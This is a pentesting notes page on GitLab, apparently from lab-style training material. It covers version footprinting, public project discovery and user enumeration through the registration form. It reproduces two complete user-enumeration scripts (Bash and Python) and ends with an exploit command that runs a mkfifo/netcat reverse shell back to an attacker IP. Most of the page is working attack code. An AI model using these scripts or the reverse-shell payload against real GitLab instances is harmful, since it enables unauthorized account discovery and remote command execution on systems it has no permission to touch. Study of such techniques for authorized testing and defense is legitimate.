Pentesting Gitlab
GitLab is a web-based Git-repository hosting tool that provides wiki capabilities, issue tracking, and continuous integration and deployment pipeline functionality. It is open-source.
GitLab is a web-based Git-repository hosting tool that provides wiki capabilities, issue tracking, and continuous integration and deployment pipeline functionality. It is open-source.
Applications such as GitLab allow for public repositories (that require no authentication), internal repositories (available to authenticated users), and private repositories (restricted to specific users).
If we can obtain user credentials from our OSINT, we may be able to log in to a GitLab instance. Two-factor authentication is disabled by default.
We can quickly determine that GitLab is in use in an environment by just browsing to the GitLab URL, and we will be directed to the login page, which displays the GitLab logo.
The only way to footprint the GitLab version number in use is by browsing to the /help
page when logged in.
Version
If the GitLab instance allows us to register an account, we can log in and browse to this page to confirm the version.
If we cannot register an account, we may have to try a low-risk exploit such as this to find the version.
Enumeration
The first thing we should try is browsing to /explore
and see if there are any public projects that may contain something interesting.
User enumeration
Lockout: GitLab's defaults are set to 10 failed attempts resulting in an automatic unlock after 10 minutes.
We can also use the registration form to enumerate valid users. If we try to register with an email that has already been taken, we will get the error 1 error prohibited this user from being saved: Email has already been taken
.
If we can make a list of valid users, we could attempt to guess weak passwords or possibly re-use credentials.
Bash script to enumerate users: https://www.exploit-db.com/exploits/49821
| #!/bin/bash
# Colors
RED='\033[38;5;196m'
GREEN='\e[38;5;47m'
NC='\033[0m'
BOLD='\e[1m'
PINK='\e[38;5;198m'
Italic='\e[3m'
BBlue='\e[44m'
YELLOW='\033[0;33m'
clear
echo -e "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
echo -e " ${BBlue}${BOLD}GitLab User Enumeration Script${NC}"
echo -e " ${BOLD}Version 1.0${NC}\n"
echo -e "${BOLD}${PINK}Description: ${NC}It prints out the usernames that exist in your victim's GitLab CE instance\n"
echo -e "${BOLD}${PINK}Disclaimer: ${NC}${Italic}Do not run this script against ${BOLD}GitLab.com!${NC}${Italic} Also keep in mind that this PoC is meant only"
echo -e "for educational purposes and ethical use. Running it against systems that you do not own or have the"
echo -e "right permission is totally on your own risk.\n${NC}"
echo -e "${BOLD}${PINK}Author:${NC}${BOLD} @4DoniiS${NC}${Italic} [https://github.com/4D0niiS]${NC}"
echo -e "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
echo ""
# Usage
usage() {
echo -e "${YELLOW}Usage: ./gitlab_user_enum.sh --url <URL> --userlist <Username Wordlist>${NC}\n"
echo -e "${Italic}PARAMETERS:${NC}"
echo -e "-------------"
echo -e "-u/--url The URL of your victim's GitLab instance"
echo -e "--userlist Path to a username wordlist file (one per line)"
echo -e "-h/--help Show this help message and exit"
echo -e "\n"
echo -e "${Italic}Example:${NC}"
echo -e "-------------"
echo -e "./gitlab_user_enum.sh --url http://gitlab.local/ --userlist /home/user/usernames.txt"
}
# Check for params
URL=""
user_list=""
while [[ $# -gt 0 ]]; do
case "$1" in
--url|-u)
URL="$2"
shift 2
;;
--userlist)
user_list="$2"
shift 2
;;
-h|--help|"")
usage
exit 0
;;
*)
echo -e "${RED}Invalid argument: $1${NC}"
usage
exit 1
;;
esac
done
# Check mandatory parameter (URL)
if [[ -z "$URL" ]]; then
usage
echo -e "${RED}${BOLD}The URL of your GitLab target (--url) is missing.${NC}"
exit 1
fi
# Check if userlist file exists
if [[ ! -f "$user_list" ]]; then
echo -e "${RED}${BOLD}Error: The specified userlist file does not exist!${NC}"
exit 1
fi
# User Enumeration Function
enumeration() {
while IFS= read -r line; do
echo "Checking user: $line"
HTTP_Code=$(curl -s -o /dev/null -w "%{http_code}" "$URL/$line")
if [[ "$HTTP_Code" -eq 200 ]]; then
echo -e "${GREEN}${BOLD}[+]${NC} The username ${GREEN}${BOLD}$line${NC} exists!"
elif [[ "$HTTP_Code" -eq 000 ]]; then
echo -e "${BOLD}${RED}[!]${NC} The target is unreachable. Please make sure that you entered the target's URL correctly and you have connection with it!"
exit 1
fi
done < "$user_list"
}
# Main Execution
enumeration
|
Python3 script to enumerate users: https://github.com/dpgg101/GitLabUserEnum/blob/main/gitlab_userenum.py
| #!/usr/bin/env python3
import requests
import argparse
def main():
parser = argparse.ArgumentParser(description='GitLab User Enumeration')
parser.add_argument('--url', '-u', type=str, required=True, help='The URL of the GitLab\'s instance')
parser.add_argument('--wordlist', '-w', type=str, required=True, help='Path to the username wordlist')
parser.add_argument('-v', action='store_true', help='Enable verbose mode')
args = parser.parse_args()
print('GitLab User Enumeration in python')
with open(args.wordlist, 'r') as f:
for line in f:
username = line.strip()
if args.v:
print(f'Trying username {line[:-1]}...')
http_code = requests.head(f'{args.url}/{username}').status_code
if http_code == 200:
print(f'[+] The username {username} exists!')
elif http_code == 0:
print('[!] The target is unreachable.')
break
if __name__ == '__main__':
main()
|
Exploits
There's not much we can do against GitLab without knowing the version number or being logged in.
| python3.11 49951.py -u lala -p lalala123 -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.147 1234 >/tmp/f' -t http://gitlab.inlanefreight.local:8081
|
Last update: 2025-02-07
Created: February 7, 2025 22:46:37